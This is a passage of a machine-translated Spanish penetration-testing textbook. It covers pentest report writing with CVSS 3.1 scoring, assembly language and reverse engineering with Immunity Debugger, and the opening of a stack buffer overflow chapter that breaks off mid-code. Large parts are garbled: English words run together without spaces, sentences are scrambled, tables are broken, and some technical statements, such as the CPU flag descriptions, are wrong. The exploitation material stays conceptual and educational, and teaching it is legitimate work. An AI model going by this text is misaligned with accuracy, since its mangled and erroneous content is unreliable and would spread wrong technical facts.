A partir de aquí, depende de tu imaginación, pero ¡sabe dónde parar! No te lo tomes como algo
personal si no puedes descifrarlo.
Resumen
Hay mucha información para comprender este capítulo, pero espero que haya aprendido
algo nuevo que lo ayude en su carrera (o en su afición).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 14
Informes
Recientemente, Iwashandedapenetrationtestingreportpreparedbyathird partes
company.Thiscompanyhiredsomeconsultantstopentestoneofthenewly
deployedwebapplicationsintheproductionenvironment.Thereportwasa de copiar y
pastefromanothersecurityscanner (por ejemplo, BurpSuite, Nessus, etc.)
Reportandfullofmisestimatedseverities.I'mtellingyouthisstorybecauseif informe
you'rethebestpenetrationtesterintheworldandyoudon'tknowhowtomakea,
thenallyoureffortswillbefornothing.Areportisyourreputation, andit showswhatyourlevelofprofessionalismis.
En este capítulo, aprenderá principalmente cómo hacer lo siguiente: Presente
informes a sus clientes/empleadores
Califique la gravedad de sus hallazgos
Descripción general de informes en pruebas de penetración
Un informe no se trata solo de la apariencia. Algunas personas piensan que un excelente informe
está lleno de palabras. Un buen informe tendrá los siguientes criterios:
Puntuación precisa de la gravedad de las vulnerabilidades (sin exagerar la gravedad de una
vulnerabilidad)
Sin falsos positivos
Evidencia (por ejemplo, capturas de pantalla o PoC) y no solo enlaces o definiciones
Instrucciones sobre cómo remediar la falla. Aquí es donde brillará un profesional
de seguridad. Una definición clara de cómo solucionar el problema es un punto de inflexión en
sus informes. (He visto muchos informes donde la parte de remediación es solo un enlace a
OWASP, una referencia de CVE, etc.)
Seaclaroynodemasiadopalabra
Debe dividirse en dos informes:
Uninformetécnicoquecomprendetodaslasevidenciasylosdetalles
Un informe resumido dirigido a la gerencia (resumen ejecutivo) que
Canal de Telegram : @IRFaraExam
Machine Translated by Google
muestra las vulnerabilidades reales y los resultados de las pruebas de seguridad
Bien formateado y conciso para que el lector disfrute leyéndolo. Por lo general, las empresas
tienen su propia plantilla para crear informes. No dude en salir de su zona de confort y cambiarla
según el estilo de su prueba.
PuntuaciónGravedades
Comencemos con un ejemplo. Supongamos que durante una prueba de penetración encontró una
inyección de SQL usando Burp Suite. De forma predeterminada, la gravedad es Alta para una
inyección de SQL y se entusiasmó al encontrar esta falla. quiere demostrar que es el profesional.
Pero, profundizando más (más allá del nivel de gravedad), la aplicación probada no contiene
información confidencial y solo es accesible desde la intranet (no es visible para Internet). En
resumen, varios factores cambiaron el juego, ¿correcto?
Common Vulnerability Scoring System, versión 3.1 He estado usando el Common
Vulnerability Scoring System (CVSS) durante un tiempo, y la versión actual es 3.1. Tenga en cuenta
que esta fórmula siempre está evolucionando, por lo que siempre consulte su sitio web para ver si
hay nuevos cambios en www.first.org/cvss/.
Entonces, ¿qué es CVSS? Es un sistema de puntuación que considera múltiples factores y
calcula la puntuación (por ejemplo, baja, media, alta o crítica) para estimar sus hallazgos de una
manera mejor y más precisa.
CVSS versión 3.1 utiliza los siguientes factores para calcular la puntuación de una falla/
vulnerabilidad encontrada durante una prueba: Vector de ataque (AV): esta puntuación
evalúa que el atacante puede explotar la vulnerabilidad, por ejemplo, de forma remota
versus localmente.
Red (N): esta opción se selecciona cuando la vulnerabilidad es accesible
desde Internet.
Adyacente (A): esta opción se selecciona cuando el exploit puede tener éxito
en la misma red interna (no accesible desde Internet).
Local (L): esta opción se selecciona cuando la pila de red está excluida de las opciones,
por ejemplo, abrir un documento (mediante ingeniería social), un registrador de teclas,
etc.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Físico (P): esta opción se selecciona cuando la explotación se realiza físicamente
en el host (por ejemplo, el atacante debe ingresar a la sala del servidor).
Complejidad de ataque (AC): esta puntuación evalúa la dificultad para explotar una
vulnerabilidad.
Alto (H): esta opción se selecciona cuando la explotación es difícil de ejecutar.
Bajo (L): esta opción se selecciona cuando es fácil explotar la falla.
Privilegio requerido (PR): Esta puntuación mencionará el nivel de privilegio necesario
para explotar la vulnerabilidad.
Ninguno (N): el atacante no necesitará ninguna credencial para acceder a la falla.
Bajo (L): El atacante necesitará una cuenta limitada para acceder a la falla.
Alto (H): el atacante necesitará una cuenta con privilegios altos para acceder a la falla.
Interacción del usuario (IU): esta puntuación evalúa si se requiere o no que un usuario (la
víctima) interactúe con la falla (por ejemplo, a través de la ingeniería social).
Ninguno(N): La falla se puede explotar sin la interacción de la víctima.
Requerido(R): La falla implica algún tipo de interacción con la víctima.
Alcance(S): esta métrica evaluará si la falla afectará a otro sistema con un alcance de
seguridad diferente. Por ejemplo, si el defecto se explota en el entorno de prueba, entonces
permitirá que el atacante explote la red de producción.
Sin cambios (U): esta opción se elige cuando los recursos afectados están en el
mismo ámbito de seguridad.
Cambiado (C): esta opción se selecciona cuando otros activos del ámbito de seguridad
se verán afectados por esta falla.
Confidencialidad (C): esta métrica evaluará si el atacante podrá leer datos confidenciales.
Alto (H): Establezca que si un trabajador puede leer todos los datos confidenciales
que una organización tiene en las instalaciones.
Bajo (L): establece esto si el atacante puede leer alguna parte de los datos
confidenciales que una organización tiene en las instalaciones.
Ninguno (N): use esto si el atacante no podrá leer ningún
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Machine Translated by Google
Las credenciales SSH del servidor (nombre de usuario: admin; contraseña: admin), pero este host
estaba ubicado en un entorno de prueba y solo se usó con fines de prueba (consulte la Figura 14.2).
Figura 14.2 Resultados CVSS
¿Se está preguntando cómo esta calculadora evalúa la puntuación crítica, alta, media o baja? La
Tabla 14.1 muestra cómo se calcula la puntuación CVSS3.1 .
Tabla 14.1 CVSSScoreRating
CALIFICACIÓN CVSS3.1 PUNTUACIÓN
Ninguna
0
Bajo
0,1–3,9
Medio 4,0–6,9
7,0–8,9
Elevado
Crítico 9.0–10.0
InformePresentación
Veamos cómo crear un informe profesional basado en ejemplos para que pueda hacer lo mismo
por su parte. En general, cuatro entradas están alimentando nuestros informes (utilizo el informe
generado por las herramientas para crear y extraer, no a ciegas, la información de mi informe final):
Fallos de infraestructura encontrados por un escáner (por ejemplo, OpenVAS, Nessus, Qualys,
etc.) o hallazgos manuales Fallos de aplicaciones web encontrados por un escáner (por ejemplo,
BurpSuite) o hallazgos manuales Fallos de código fuente encontrados por una herramienta de
prueba de seguridad de aplicaciones estáticas (SAST)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
(por ejemplo, Checkmarx, Veracode, etc.) o hallazgos usando una revisión de código manual
Defectos de biblioteca de código abierto encontrados por un escáner de biblioteca (p. ej., ciclo de vida de
tipo NexusSona)
Esta es una estructura de informe que puede usar para crear un informe en su extremo.
Generalmente, cada empresa tiene su propio logotipo y plantillas para la apariencia.
Portada En esta
página, debe mostrar el título de su informe (por ejemplo, "Informe de prueba de
penetración" o "Informe de seguridad cibernética"). Asegúrese de incluir los siguientes elementos:
Nombre de empresa
Nombre del proyecto probado
El nombre del responsable (penetration tester; a veces tienes que incluir el nombre de tu
empresa, si eres contratado por un tercero)
Título del informe
HistorialRegistros
A veces hay varias personas trabajando en el mismo informe. Además, siempre existe la posibilidad de
que el contenido cambie, por lo que un registro histórico ayudará a realizar un seguimiento de los
esfuerzos realizados.
Unregistrodehistoriadebecontenerlossiguienteselementos:
El número de versión
Lafechadelcambio
El nombre de la persona que lo modificó
Una breve descripción de lo que se trata el cambio
Resumen del informe Esta
sección es la primera parte que resumirá el contenido de las vulnerabilidades
encontradas durante sus compromisos. Primero, tómese su tiempo para explicar todas
las tareas ejecutadas para realizar el trabajo. Luego, explique la puntuación que usó para
evaluar la gravedad de cada falla.
Número de leyes en función de su gravedad (los gráficos son agradables de tener)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Número de categorías y ocurrencias fuera de la ley (por ejemplo, cinco
ocurrencias de fallas XSS reflejadas, dos ocurrencias de inyección de SQL, etc.)
Sección de Vulnerabilidades
Aquí es donde incluirá los detalles sobre cada vulnerabilidad encontrada durante su
compromiso. Puede comenzar con las críticas primero y luego incluir las altas, medias y
finalmente las bajas. Para cada vulnerabilidad, debe incluir lo siguiente:
Una descripción de la falla (el informe generado por el escáner le ayudará a escribir
esta sección)
Esta puntuación de gravedad basada en CVSS
La dirección IP del host o la URL afectada por esta falla
Capturas de pantalla o fragmentos de texto sobre cómo explotar la vulnerabilidad (prueba)
Finalmente,cómoarreglarlo(laremediación)
Resumen
Hasta este capítulo, vio la mayoría de las actividades que tendrá que ejecutar como
probador de penetración. En este capítulo, aprendió cómo presentar su trabajo como
profesional a sus clientes o empleadores (recuerde que el informe que muestra es su imagen
profesional).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 15
Lenguaje de ensamblaje e ingeniería inversa
Este capítulo le presentará el concepto de ingeniería inversa utilizando el lenguaje ensamblador. Este puede
ser un tema complicado, pero idealmente, a medida que lea este capítulo, el tema no parecerá tan complejo y le
resultará divertido aprenderlo.
Primero, aprenderá los conceptos básicos del lenguaje ensamblador. A continuación, verá cómo aplicar la
ingeniería inversa en la práctica usando los conocimientos que adquirió en la sección de lenguaje ensamblador.
En este capítulo, aprenderá sobre lo siguiente: Conceptos básicos del
lenguaje ensamblador
registros de CPU
Instrucciones de montaje
Tipos de datos
Segmentos de memoria
Ingeniería inversa
Registros de CPU
Probablemente esté emocionado por aprender a usar el lenguaje ensamblador. Este lenguaje no es un
lenguaje de programación estándar como Java, Python o .NET.
Esta es la mirada más cercana a la CPU y la memoria. En otras palabras, usted está hablando directamente
con el jefe, que es la placa base de su computadora.
La primera parte que debe comprender son los registros de la CPU. Estos registros se utilizan para almacenar
datos temporalmente y manipularlos también.
GeneralCPURegistros
La figura 15.1 muestra los registros de propósito general que comprenden AX, BX, CX y DX.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.1 Registros generales de CPU
El primero (AX) es el registro acumulador y se usa para cálculos como suma, resta, división y
multiplicación. Para la versión de 64 bits, usamos RAX, y usamos EAX para la versión de 32
bits. En la parte inferior, puede ver las secciones de 8 bits alto y bajo AH y AL.
El segundo es el registro base BX y puede usarlo para múltiples propósitos.
Luego viene el registro de contador CX; como su nombre lo indica, este registro se utiliza
como un contador para bucles e iteraciones.
DX es el registro de datos. Hay documentación que lo llama precisión doble, pero el nombre
de registro de datos podría ser mejor. Este registro es el hermano de EAX , y trabajan juntos
en operaciones temáticas.
No se preocupe, no necesita memorizar todas las funcionalidades de cada uno de esos
registros, lo más importante que debe saber es que los registros generales se utilizan (como
su nombre lo indica) para la manipulación de datos de propósito general.
Tenga en cuenta que en este capítulo, nos enfocaremos principalmente en los registros de
32 bits. Más tarde, cuando comencemos a practicar, verá cómo el depurador mostrará EAX,
EBX, ECX y EDX.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ÍndiceRegistros
Otro tipo de registro es el registro de índice (consulte la Figura 15.2): el índice de origen (SI) y
el índice de destino (DI). Estos registros se utilizan principalmente para la manipulación de
cadenas, donde ESI apunta al origen y EDI apunta al destino.
Figura 15.2 Registros de índice
PunteroRegistros
Los registros de punteros son excelentes para usar en la explotación del desbordamiento del
búfer (aprenderá más sobre este tema en el siguiente capítulo).
Los dos primeros en la parte superior de la Figura 15.3 son el puntero base y el puntero de pila.
Estos dos registros se utilizan para operaciones de pila. El puntero de la base apunta a la base
de la pila y el puntero de la pila apunta a la parte superior de la pila.
El tercer puntero en la parte inferior es el puntero de instrucción, y apunta a la dirección
de la siguiente instrucción que el PC debe ejecutar (tenga esto en mente; lo revisaremos
durante el Capítulo 16 , “Desbordamiento de búfer/pila”).
Registros de segmento El
siguiente tipo de registros son los registros de segmento (vea la figura 15.4): código, datos, pila
y segmentos adicionales. Rara vez los usará para la explotación, pero dado que esta sección
trata sobre los conceptos básicos del lenguaje ensamblador, debe comprender por qué existen.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.3 Registros de puntero
Figura 15.4 Registros de segmento
En resumen, estos registros se utilizan para especificar segmentos en la memoria.
En otras palabras, estos registros de segmento almacenan la dirección inicial de un
segmento. Esto se debe a que para obtener la ubicación exacta de los datos o
instrucciones dentro de un segmento, se requiere un valor de compensación.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
BanderaRegistros
Los registros de bandera (consulte la Tabla 15.1) también se denominan registros de control porque
la operación de salto se ejecutará en función del valor almacenado en estos registros.
Por ejemplo, si los indicadores de cero se restablecen en uno, entonces el JE o el salto son iguales,
la instrucción se ejecutará o no se ejecutará si los indicadores de cero son iguales a cero.
pronto veremos las instrucciones de JMP, pero es importante entender el rol de
estas banderas.
Tabla 15.1 Registros de banderas
BANDERA
ABREVIATURA DESCRIPCIÓN
NOMBRE
La instrucción aritmética resultante de un
Llevar C
llevar/tomar prestado.
Cuando es siete, entonces el valor es 0.
Paridad P
Cuando es impar, entonces el valor es 1.
Auxiliar A
resultado de operación aritmética; acarryfrombit3
intobit4.Cuandoestosucede,elvalorseestablece
1.
Cero
CON
Cuando el resultado es igual a cero, entonces el valor es
tabique1.
Firmar
S
Si el signo es positivo, entonces el valor se establece en 0.
Si el signo es negativo, entonces el valor se establece en 1.
Trampa
T
dirección D
Modo de un solo paso.
La cadena de izquierda a derecha; luego, el valor se establece en 0.
Cadena de derecha a izquierda, luego el valor se establece en 1.
Desbordamiento O
Desbordamientodelaofertamásalta.
El primero es el indicador de transporte y almacena el contenido de la última parte de un turno.
operación. A continuación, el indicador de paridad se establece en 0 si se ajusta a un número par que estamos intentando
para comparar o con 1 si el número es impar.
por una operación aritmética hace que se lleve de un bit 3 a un bit 4. Luego, el indicador cero
se establece en uno cuando los resultados de la comparación son iguales a cero.
la bandera se establece en uno cuando el resultado es positivo, y lo contrario sucede cuando es
negativo. El indicador Trap es una configuración de operación de un solo paso, por lo que
a través del depurador una instrucción a la vez.
0 cuando la operación de cadena es de izquierda a derecha, y se establece en 1 si la cadena
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la operación es de derecha a izquierda. Finalmente, el indicador de desbordamiento indica el desbordamiento
del bit más a la izquierda después de una operación aritmética.
Ahora que hemos terminado con los registros, pasemos a las instrucciones de montaje.
Instrucciones de montaje
En lenguaje ensamblador, las instrucciones de ensamblado se verán así:
[Dirección][código de operación][instrucción/mnemónico][operandos]
Entonces, una instrucción de ensamblaje se compone de su dirección en la memoria a la
izquierda, seguida por su valor de código de operación. Luego viene la instrucción para
ejecutar (como un MOV o JMP) o cualquiera de los elementos que ve en la Tabla 15.2.
Finalmente, tenemos los operandos. A veces tiene dos operandos como en la primera
operación MOV en la tabla 15.2. O un operando, como en la operación de inserción que ve
en la Tabla 15.2. Echemos un vistazo a las instrucciones más importantes en el montaje
(pronto verás un ejemplo práctico sobre una instrucción de montaje, por el momento, céntrate
en los principios).
Tabla 15.2 Instrucciones de montaje
SINTAXIS
EJEMPLO
MOV<Destino>,<Origen> MOVEAX,ESP
Añadir<Destino>,<Origen> ADDESP,0C
Sub<Destino>,<Origen> SUBEAX,0A
INC<Valor>
INCEAX
Dec<Valor>
DECEAX
Empujar<Valor>
EMPUJAR
POP<Valor>
POPEBX
LEA<Destino>,<Origen> LEAESP,DWORDPTRSS:[EBPÿA]
XOR<Destino>,<Origen> XOREAX,EAX
La primera instrucción es MOV, y como su nombre lo indica, mueve un valor desde el
origen hasta su destino. En la segunda y tercera líneas, vemos las operaciones de suma
y resta, y se usan para cálculos aritméticos. Tenga en cuenta que los resultados de suma y
resta se almacenan en el operando de destino.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ESPitself.Next, theincrementinstructionincrementsthevaluebyone, yla
decinstructiondecrementsitbyone.Simple, a la derecha de instrucciones Thencomesthepush,
whichpushesavalueonthestack, andthepopinstructionremoves
thetopelementfromthestack.Forexample, popEBXremovesthetopitemin
thestackandstoresitinEBX.Nextcomesthe “Loadeffectiveaddress” instrucción;?
Asyoucanseeintheexample, theaddressoftheValueEBP-AIS copiedintotheESPregister.Belowit,
wecanseetheXORoperation; mostof thetime,
thisinstructionisusedtoXORthesameoperandtwice.XOREAXand
EAXtwicewillresultinazerointheEAXregister ;es lo mismo que MOVzero para EAX.
Aún no hemos terminado. Hay algunas instrucciones de montaje adicionales que debe
tener en cuenta (consulte la Tabla 15.3).
Tabla 15.3 Instrucciones de salto de montaje
SINTAXIS
DESCRIPCIÓN
JMP<Destino>
Saltar a una dirección
JZ<Destino>|ZF=1
saltarfzero
JE<Destino>|ZF=1
Salto igual
JNE<Destino>|ZF=0 Saltar si no es igual
JNZDestino>|ZF=0
Saltar si no es cero
CMP <Op1>, <Op2>
Comparar dos operandos
TEST<Destino>,<Origen> Testorigenydestino
La primera instrucción es la operación de salto, que salta sin condición a una dirección de
destino. El siguiente en la lista es el salto si es cero, y salta a una dirección de instrucción si
las banderas cero son una. Debajo, el salto, si es igual, también salta si las banderas cero son
una.
Probablemente se esté preguntando cómo se establecen los indicadores cero, ¿verdad?
Bueno, la respuesta está en las dos operaciones inferiores, la comparación y la prueba.
La comparación EAX y EBX restará EBX de EAX, y si el resultado es 0, entonces los
indicadores cero se restablecerán en 1.
La instrucción de prueba realiza una operación Y en los dos operandos; luego, establece
los registros de indicadores en consecuencia. Por ejemplo, testEBX dos veces establece el
indicador cero en uno.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
La tabla 15.4 muestra la última lista de instrucciones que debe tener en cuenta al usar el lenguaje
ensamblador.
Tabla 15.4 Instrucciones de montaje
SINTAXIS
DESCRIPCIÓN
CORRECTO
Regreso
INT<Valor>
Interrumpir
NOP
Sin operaciones
CALL<Destino> Callaninstrucción(función)
TheFirstOne, RET, isthereturninstruction, anditindicatestheendofthe functioninassembly.Next,
theinterruptinstructionsendsasysteminterruptto theprocessortoexecute.Ifyouwanttodevelopassemblyprograms,
usethisinstructionalot.Forexample youwill, interrupt80sendsasystemcalltothe
kernel.Nowcomesmyfavoriteone, therollercoasterNOPoperation;
makesurethatthecodewillexecutebyusingthemagicalNOPslides
usethisspecialinstructionwhenweinjectourshellcodebecausewewantto WEWILL (la
SiguienteCapítulo) .Finalmente, thecallinstructioncallsafunctionbyspecifyingitsname
intheoperandsection.
LittleEndian
Littleendian es un concepto que veremos en el desbordamiento del búfer (siguiente capítulo).
Por el momento, es importante comprender que la arquitectura de la CPU Intel almacena las
cosas en orden inverso.
Por ejemplo, tome esta instrucción:
MOVEAX,2A3B4C5D
Tras la ejecución de la instrucción anterior, el valor EAX será 5D4C3B2A (que es el
inverso del valor original).
Tipos de datos
¿Qué pasa con los tipos de datos en ensamblador? La tabla 15.5 le muestra los más comunes que
debe tener en cuenta.
Tabla 15.5 Tipos de datos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ESCRIBE
ASM #BITS
Byte
Byte 8 bits
Palabra
Palabra de 16 bits
Palabra doble Dword 32bits
Palabra cuádruple Qword 64bits
Recuerde, el byte es de 8 bits, la palabra es 16, la palabra doble es 32 y la palabra
cuádruple es de 64 bits. Debe familiarizarse con los tipos de datos para no perderse
cuando vea estos tipos de datos como mover una dirección de 32 bits DWORD a ESP.
Eventualmente se convertirán en una segunda naturaleza cuando trabajes en explotación.
Segmentos de memoria
Demasiadas cosas, ¿verdad?
En la Figura 15.5, puede ver las áreas de segmentación de la memoria. El área
de texto es donde se almacenan las instrucciones de ensamblaje. Los datos y BSS
son para almacenamiento variable. El montón es una ubicación en la memoria
donde puede almacenar y manipular datos dinámicamente.
Figura 15.5 Segmentos de memoria
Modos de direccionamiento
Hay diferentes métodos para manipular un registro. La Tabla 15.6 resume
todos los tipos de modos de direccionamiento.
Basado en la Tabla 15.6, estamos moviendo un registro a un registro primero en la parte superior.
En el siguiente, estamos eliminando un número a un registro. En el tercer elemento, estamos
eliminando un número a una dirección de memoria. Finalmente, estamos eliminando el valor en el
registro EBX a la dirección de memoria almacenada en el registro EAX .
Tabla 15.6 Modos de direccionamiento
Canal de Telegram : @IRFaraExam
Machine Translated by Google
NOMBRE
EJEMPLO
Registrarse
MOVEAX, ECX
MOVEAX inmediato,0C
Directo
MOV[AC1177FF],0C
Registro MOV indirecto [EAX], EBX
Ejemplo de ingeniería inversa
En esta sección, crearemos un programa C simple que podemos usar para la ingeniería inversa
en la siguiente sección. Aquí, la ingeniería inversa significa inspeccionar sus instrucciones en
lenguaje ensamblador para visualizar y comprender cómo funciona el procesamiento de bajo nivel
debajo del capó.
VisualStudioCode para C/C++
Para este ejemplo práctico, estamos utilizando Windows 10 como sistema operativo.
(Debería acostumbrarse a usar ejercicios de desbordamiento de búfer e ingeniería inversa en su
sistema operativo Windows. ¿Por qué? Porque el 90 por ciento de las aplicaciones explotadas se
basarán en el sistema operativo Windows). A continuación, instalaremos Visual Studio Code (que es
gratuito) descargándolo de la siguiente URL:
code.visualstudio.com/download
Una vez instalados, añadiremos los plugins de C++ para poder desarrollar nuestros programas C
y C++.
Para instalar la extensión Microsoft C/C++, siga estos pasos:
1.Haga clic en el icono de vista Extensiones en la barra lateral (Ctrl+Mayús+X).
2.BuscarC++.
3.Haga clic en Instalar.
Tendremos que instalar un segundo complemento en nuestro programa C, y se llama
CodeRunner. Siga los mismos pasos anteriores para instalar este complemento también.
Hay un paso más antes de que comencemos a ejecutar nuestro programa C: debemos instalar los
archivos binarios de Mingw desde el siguiente enlace (puede buscarlo en Google ya que es una URL
larga; el enlace de descarga está en https://SourceForge.net):
https://sourceforge.net/projects/mingw w64/files/
Toolchains%20targetting%20Win32/Personal%20Builds/mingw
Canal de Telegram : @IRFaraExam
Machine Translated by Google
compilaciones/instalador/mingw-w64-install.exe/descarga
Una vez descargado, debe seguir las instrucciones para instalarlo en su sistema
operativo Windows. A continuación, debe agregarlo a su variable PATH siguiendo estos
pasos:
1. En la barra de búsqueda de Windows, escriba configuración para abrir su Configuración de Windows.
2. Busque las variables de entorno Edit para su cuenta.
3. Elija la variable Ruta y, a continuación, seleccione Editar.
4. Seleccione Nuevo y agregue la ruta Mingw-w64 a la ruta del sistema. La ruta exacta
depende de la versión de Mingw-w64 que haya instalado y de dónde haya instalado la
edición .
5.Haga clic en Aceptar para guardar la RUTA actualizada.
ventanas para que la nueva ubicación de PATH esté disponible.
Para comenzar con la programación, seleccione el menú Archivo y luego haga clic en el elemento Nuevo
archivo (o presione Ctrl+N). A continuación, agregue el siguiente código dentro del nuevo archivo vacío:
#include<stdio.h>
intmain() {
char*mensaje="HolaMundo\n";
printf(mensaje); retorno0; }
Antes de compilar el programa, necesitamos guardarlo primero. Entonces, presione Ctrl+S
en su teclado para guardarlo y asegúrese de seleccionar el tipo como C (en mi caso, el
nombre de mi programa será HelloWorld.c ).
Después de guardar el archivo, tendremos que depurar/ejecutar la unidad. Haga clic con el
botón derecho en cualquier lugar dentro del archivo y seleccione el elemento Ejecutar código
del menú (el primero en la parte superior).
[Ejecutando]cd"c:\Users\admin\"&&gccHelloWorld.c-oHelloWorld&&"c:\Users\admin\"HelloWorld
HelloWorld
Canal de Telegram : @IRFaraExam
Machine Translated by Google
[Listo] salió con código = 0 en 0.237 segundos
Antes de comenzar el proceso de ingeniería inversa , repasemos el programa. Primero,
incluimos la biblioteca estándar de entradaÿsalida para imprimir en la pantalla (porque
usaremos la función printf ). Luego, creamos la función principal que contiene la lógica
de este programa. Después de eso, declaramos un mensaje de variable de cadena .
”mensaje utilizando la función printf . Finalmente, un retorno a cero indica que el
programa, ha finalizado con éxito.
Depurador de inmunidad para ingeniería inversa
Ahora es el momento de comenzar a practicar las instrucciones del lenguaje
ensamblador que aprendió anteriormente en este capítulo. Para este ejercicio, usaremos
Immunity Debugger para mostrar las instrucciones de ensamblado del programa Hello
World (que creamos anteriormente en el ejemplo de Ccode). Puede descargar una copia
de este software en www.immunityinc.com/products/debugger/
Una vez que haya instalado edit, ejecute las unidades para que pueda seguir el ejercicio.
Para abrir el programa Hello World, vaya al menú Archivo, seleccione Abrir y luego
navegue hasta donde guardó el archivo Hello World.exe .
Cuando tiene un programa dentro de Immunity, comienza en estado de pausa y
puede verlo en la Figura 15.6 en la esquina inferior derecha.
Para acceder a la función principal de la aplicación Hello World, desplácese hacia abajo en el
panel superior izquierdo hasta que vea el patrón que se muestra en la Figura 15.7.
Echemos un vistazo rápido al entorno del depurador (consulte la Figura 15.6). Como
puede ver, tenemos cuatro paneles en Immunity.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.6 Inmunidad en pausa
Figura 15.7 Instrucciones de la función principal
En el de arriba a la izquierda, tenemos todas las instrucciones de la CPU. La instrucción
resaltada es SUBESP, 0C (ver Figura 15.6); significa restar de ESP el valor 0C (esta es una
representación hexadecimal). A la izquierda de la instrucción de ensamblaje, primero verá la
dirección de memoria de esta instrucción, luego el código de operación y finalmente el código
de ensamblaje. Contiene el operando fuente, que es OC, en este caso, el operando destino,
ESP.
Otra cosa a tener en cuenta en esta sección es el código de operación; usaremos el código
de operación más adelante (en el próximo capítulo) cuando inyectemos nuestro código shell
para la explotación. Por lo tanto, un código shell es una serie de códigos op.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
instrucciones de ensamblaje que queremos inyectar como un shell remoto, por ejemplo.
Espere, aún no hemos terminado; asegúrese de que estas instrucciones se guarden en
la memoria en un lugar llamado texto. Sigamos el encabezado de esta instrucción y la veamos
en vivo en la memoria. Haga clic con el botón derecho en la instrucción y seleccione Seguir en
el volcado;
Figura 15.8 Seguimiento en volcado
Ahora revise la sección inferior izquierda (vea la Figura 15.9); la dirección está resaltada y
muestra el código de operación 83EC0C.
Figura 15.9 Ventana de volcado de memoria
Si desea ver toda la memoria, seleccione el menú Ver y seleccione el elemento Memoria,
como se muestra en la Figura 15.10.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.10 Menú del mapa de memoria
¿Recuerdas cuando se dijo anteriormente que las instrucciones de ensamblaje se
almacenan en la sección de texto de la memoria? Ahora puedes ver la prueba frente a ti;
consulta la figura 15.11.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.11 Ventana del mapa de memoria
Si hace doble clic en la línea de texto de la aplicación Hello World, le mostrará todas las
instrucciones de montaje almacenadas en esta área, como se muestra en la Figura 15.12.
Figura 15.12 HelloWorld.text
Impresionante. Ahora, ¿qué pasa con los demás (cerrar la ventana de volcado primero)?
Antes de cerrar la ventana de memoria, verifique la diferencia en la columna de acceso
entre la sección de texto y la sección bss (consulte la Figura 15.11). En el área de texto,
puede leer y ejecutar, ¡pero en el bss puede leer y escribir! Esto es protección, porque los
diseñadores del sistema operativo no quieren que escriba su código en la sección de texto
porque podrá ejecutar lo que quiera, ¿verdad?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
desbordamiento de búfer en el capítulo siguiente. Cierre esta ventana de Mapa de memoria
y vuelva a la ventana de la CPU.
Entonces, cubrimos la sección de instrucciones de la CPU y la sección de volcado de memoria.
En la parte superior derecha, tenemos los registros de la CPU (vea la Figura 15.13). Recuerde que
estos registros están ubicados físicamente en la propia CPU (ya cubrimos todos estos registros en
la sección básica).
Figura 15.13 Registros
La esquina final (en la parte inferior derecha) está dedicada a las operaciones de la pila. Por
ahora, comprenda que la pila tiene la parte inferior indicada por el puntero base (EBP), y la parte
superior está indicada por el puntero de la pila (ESP), como se muestra en la Figura 15.14.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 15.14 Pila
Resumen
Es normal si siente que este capítulo es difícil. El lenguaje ensamblador
es único. Al igual que con cualquier otra cosa, necesita practicar lo que
ha aprendido hasta ahora.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 16
Desbordamiento de búfer/pila
En el capítulo anterior, aprendió sobre las instrucciones de ensamblaje.
Después de eso, vio cómo usar Immunity Debugger para visualizar las
instrucciones internas de un programa (ingeniería inversa actual).
Antes de comenzar, ya debe comprender los conceptos básicos de las
instrucciones del lenguaje ensamblador y debe haber practicado los ejemplos del
capítulo anterior.
Los temas sobre los que aprenderá en este capítulo incluyen los siguientes:
Basicsofthestack
Cómoexplotarlapila
El flujo de trabajo para lograr un desbordamiento de búfer
Conceptos básicos de StackOverflow
Ahora que comprende los fundamentos de la ingeniería inversa, es
hora de comenzar con algo más significativo para la explotación.
Descripción general de la pila
Para resumir, una pila se usa para asignar almacenamiento a corto
plazo para los parámetros de función y las variables locales de esa función.
Es importante saber que se crea una nueva pila cada vez que no funciona.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 16.1 Punteros de pila
Quiero mencionar dos instrucciones críticas que la pila usa con frecuencia, las
instrucciones PUSH y POP. ¿Cuáles son estas instrucciones de todos modos? Las
cubriremos en detalle en las próximas secciones.
PUSHInstrucción
Comencemos con un ejemplo para ver cómo funciona la instrucción PUSH.
¿Qué sucede cuando decimos PUSHEBP, suponiendo que el valor de
EBPregister es 0589AFCC ?
Figura 16.2 EMPUJEBP
En la Figura 16.2, le muestro que cuantos más elementos agrega a la pila, la
dirección se mueve hacia arriba y eso hace que las direcciones sean más bajas.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
hacia arriba, más tocado disminuirá.
POPInstrucción
La instrucción POP es lo opuesto al mecanismo PUSH. Supongamos que tiene la
instrucción POPEAX, luego el valor 0589AFCC (que usamos en la instrucción PUSH) se
eliminará de la parte superior de la pila. Al mismo tiempo, el valor 0589AFCC se moverá
al registro EAX.
CProgramEjemplo
La mejor manera de entender cómo funciona la pila es a través de un ejemplo real. El
lenguaje C es un gran lenguaje para usar cuando se trata de aprender las instrucciones
de ensamblaje. No se preocupe si no sabe cómo funciona la programación C / C ++;
repasaremos cada línea de ajuste . En el capítulo anterior, usted vio un programa
HelloWorld.c . En esta sección, llevaremos las cosas al siguiente nivel y crearemos un
programa para visualizar el búfer:
//labibliotecastring.hesnecesariaparamanipularlacadenaenC #include<string.h> //
Lafuncióndecopiacopiaráunmensajedecadenaenelbúfer.
//Char*significa una cadena en C.
voidcopy(char*mensaje) {
//Declarar una matriz de caracteres
